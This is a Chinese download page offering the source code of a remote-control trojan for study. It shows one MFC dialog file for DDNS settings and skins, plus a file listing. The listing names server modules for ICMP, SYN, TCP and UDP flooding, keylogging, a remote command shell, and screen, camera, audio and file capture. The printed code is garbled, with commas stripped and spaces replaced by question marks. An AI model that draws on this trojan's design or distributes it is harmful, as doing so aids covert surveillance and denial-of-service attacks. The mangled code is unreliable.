資源簡介
開源木馬的源代碼,可以下來研究基本的木馬原理.

代碼片段和文件信息
//?3322Dlg.cpp?:?implementation?file
//
#include?“stdafx.h“
#include?“3322Dlg.h“
#include
#include?
#include?“ClientDlg.h“
#pragma?comment(lib“WS2_32“)
#pragma?comment?(lib“Wininet.lib“)?
#ifdef?_DEBUG
#define?new?DEBUG_NEW
#undef?THIS_FILE
static?char?THIS_FILE[]?=?__FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
//?C3322Dlg?dialog
C3322Dlg::C3322Dlg(CWnd*?pParent?/*=NULL*/CClientDlg*?pClientDlg?/*=NULL*/)
:?CDialog(C3322Dlg::IDD?pParent)
{
//{{AFX_DATA_INIT(C3322Dlg)
m_strDDNS =?_T(““);
m_strPWD =?_T(““);
m_strUser =?_T(““);
//}}AFX_DATA_INIT
m_pClientDlg=?pClientDlg;
m_hIcon =?AfxGetApp()->LoadIcon(IDR_MAINframe);
m_hBKBrush =?CreateSolidBrush(MAIN_frame_BK_COLOR);
}
void?C3322Dlg::DoDataExchange(CDataExchange*?pDX)
{
CDialog::DoDataExchange(pDX);
//{{AFX_DATA_MAP(C3322Dlg)
DDX_Control(pDX?IDC_EDIT_USER?m_editUser);
DDX_Control(pDX?IDC_EDIT_PWD?m_editPWD);
DDX_Control(pDX?IDC_EDIT_DDNS?m_editDDNS);
DDX_Control(pDX?IDC_BTN_UPDATE?m_btnUpdate);
DDX_Control(pDX?IDC_COMBO_IP?m_cmbIP);
DDX_Text(pDX?IDC_EDIT_DDNS?m_strDDNS);
DDX_Text(pDX?IDC_EDIT_PWD?m_strPWD);
DDX_Text(pDX?IDC_EDIT_USER?m_strUser);
//}}AFX_DATA_MAP
}
BEGIN_MESSAGE_MAP(C3322Dlg?CDialog)
//{{AFX_MSG_MAP(C3322Dlg)
ON_BN_CLICKED(IDC_BTN_UPDATE?OnBtnUpdate)
ON_WM_CTLCOLOR()
ON_WM_DESTROY()
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
//?C3322Dlg?message?handlers
BOOL?C3322Dlg::OnInitDialog()?
{
CDialog::OnInitDialog();
//?TODO:?Add?extra?initialization?here
SetIcon(m_hIcon?TRUE); //?Set?big?icon
SetIcon(m_hIcon?FALSE); //?Set?small?icon
InitComboBox();
InitLocalIP();
ChangeSkin(m_pClientDlg->m_emSkinType);
return?TRUE;??//?return?TRUE?unless?you?set?the?focus?to?a?control
??????????????//?EXCEPTION:?OCX?Property?Pages?should?return?FALSE
}
//?Change?Skin
BOOL?C3322Dlg::ChangeSkin(E_SKIN_TYPE?emSkinType)
{
CString?strSkinPath;
CValidFunction::GetWorkPath(strSkinPath);
CString?strSkinFile;
if(emSkinType?==?E_SKIN_base)
strSkinFile?=?strSkinPath?+?“\\skin\\baseSkin\\theme.ini“;
else?if(emSkinType?==?E_SKIN_XP)
strSkinFile?=?strSkinPath?+?“\\skin\\XpSkin\\theme.ini“;
else?if(emSkinType?==?E_SKIN_NEO)
strSkinFile?=?strSkinPath?+?“\\skin\\NeoSkin\\theme.ini“;
else
strSkinFile?=?strSkinPath?+?“\\skin\\baseSkin\\theme.ini“;
strSkinFile?=?CValidFunction::LongPathToShort(strSkinFile);
return?SetSkin(?strSkinFile?);
}
//?Change?Skin
BOOL?C3322Dlg::SetSkin(CString?strSkinFile)
{
BOOL?bRes?=?TRUE;
bRes?&=?m_skinWin.LoadSkin(?strSkinFile?);
bRes?&=?m_skinWin.InstallSkin(?this?);
SetWindowPos(?0?0?0?0?0?SWP_NOSIZE?|?SWP_NOMOVE?|SWP_frameCHANGED?);
return?bRes;
}
BOOL?C3322Dlg::InitComboBox()
{
m_cmbIP.SetComboBitmap(IDB_COMBO_LEFTIDB_
?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????文件???????1808??2008-06-15?00:24??守候遠控源代碼\守候遠控源代碼\說明.txt
?????文件???????8280??2008-05-09?15:00??守候遠控源代碼\守候遠控源代碼\Server\DDOSICMPThread.cpp
?????文件???????1021??2008-05-09?14:56??守候遠控源代碼\守候遠控源代碼\Server\DDOSICMPThread.h
?????文件???????5962??2008-05-09?15:00??守候遠控源代碼\守候遠控源代碼\Server\DDOSSYNThread.cpp
?????文件???????1024??2008-05-09?15:00??守候遠控源代碼\守候遠控源代碼\Server\DDOSSYNThread.h
?????文件???????7382??2008-05-09?15:00??守候遠控源代碼\守候遠控源代碼\Server\DDOSTCPThread.cpp
?????文件????????903??2008-05-09?15:00??守候遠控源代碼\守候遠控源代碼\Server\DDOSTCPThread.h
?????文件???????5731??2008-05-09?15:00??守候遠控源代碼\守候遠控源代碼\Server\DDOSUDPThread.cpp
?????文件???????1047??2008-05-09?14:59??守候遠控源代碼\守候遠控源代碼\Server\DDOSUDPThread.h
?????文件??????23169??2008-05-16?11:31??守候遠控源代碼\守候遠控源代碼\Server\DealCMDThread.cpp
?????文件???????2253??2008-05-10?10:18??守候遠控源代碼\守候遠控源代碼\Server\DealCMDThread.h
?????文件???????2733??2008-05-07?15:40??守候遠控源代碼\守候遠控源代碼\Server\KeyLogManager.cpp
?????文件????????853??2008-05-07?14:54??守候遠控源代碼\守候遠控源代碼\Server\KeyLogManager.h
?????文件???????3343??2008-03-30?09:13??守候遠控源代碼\守候遠控源代碼\Server\NetProtocolThread.cpp
?????文件????????897??2008-03-16?14:58??守候遠控源代碼\守候遠控源代碼\Server\NetProtocolThread.h
?????文件???????4853??2008-05-17?20:21??守候遠控源代碼\守候遠控源代碼\Server\ReceiveFileThread.cpp
?????文件???????1378??2008-03-27?20:52??守候遠控源代碼\守候遠控源代碼\Server\ReceiveFileThread.h
?????文件????????534??2007-05-11?14:02??守候遠控源代碼\守候遠控源代碼\Server\Resource.h
?????文件???????5077??2008-04-08?15:51??守候遠控源代碼\守候遠控源代碼\Server\SendAudioThread.cpp
?????文件???????1091??2008-04-08?15:24??守候遠控源代碼\守候遠控源代碼\Server\SendAudioThread.h
?????文件???????4705??2008-05-17?16:06??守候遠控源代碼\守候遠控源代碼\Server\SendCameraThread.cpp
?????文件????????985??2008-03-30?14:54??守候遠控源代碼\守候遠控源代碼\Server\SendCameraThread.h
?????文件???????6599??2008-05-08?10:13??守候遠控源代碼\守候遠控源代碼\Server\SendCMDShellThread.cpp
?????文件???????1270??2008-05-05?11:38??守候遠控源代碼\守候遠控源代碼\Server\SendCMDShellThread.h
?????文件???????3969??2008-03-30?16:23??守候遠控源代碼\守候遠控源代碼\Server\SendFileThread.cpp
?????文件???????1014??2008-03-27?21:46??守候遠控源代碼\守候遠控源代碼\Server\SendFileThread.h
?????文件???????6057??2008-05-16?11:33??守候遠控源代碼\守候遠控源代碼\Server\SendScreenThread.cpp
?????文件???????1092??2008-05-16?11:30??守候遠控源代碼\守候遠控源代碼\Server\SendScreenThread.h
?????文件????????892??2008-05-17?16:41??守候遠控源代碼\守候遠控源代碼\Server\Server.clw
?????文件???????2806??2008-04-08?09:57??守候遠控源代碼\守候遠控源代碼\Server\Server.cpp
............此處省略254個文件信息
評論
共有 條評論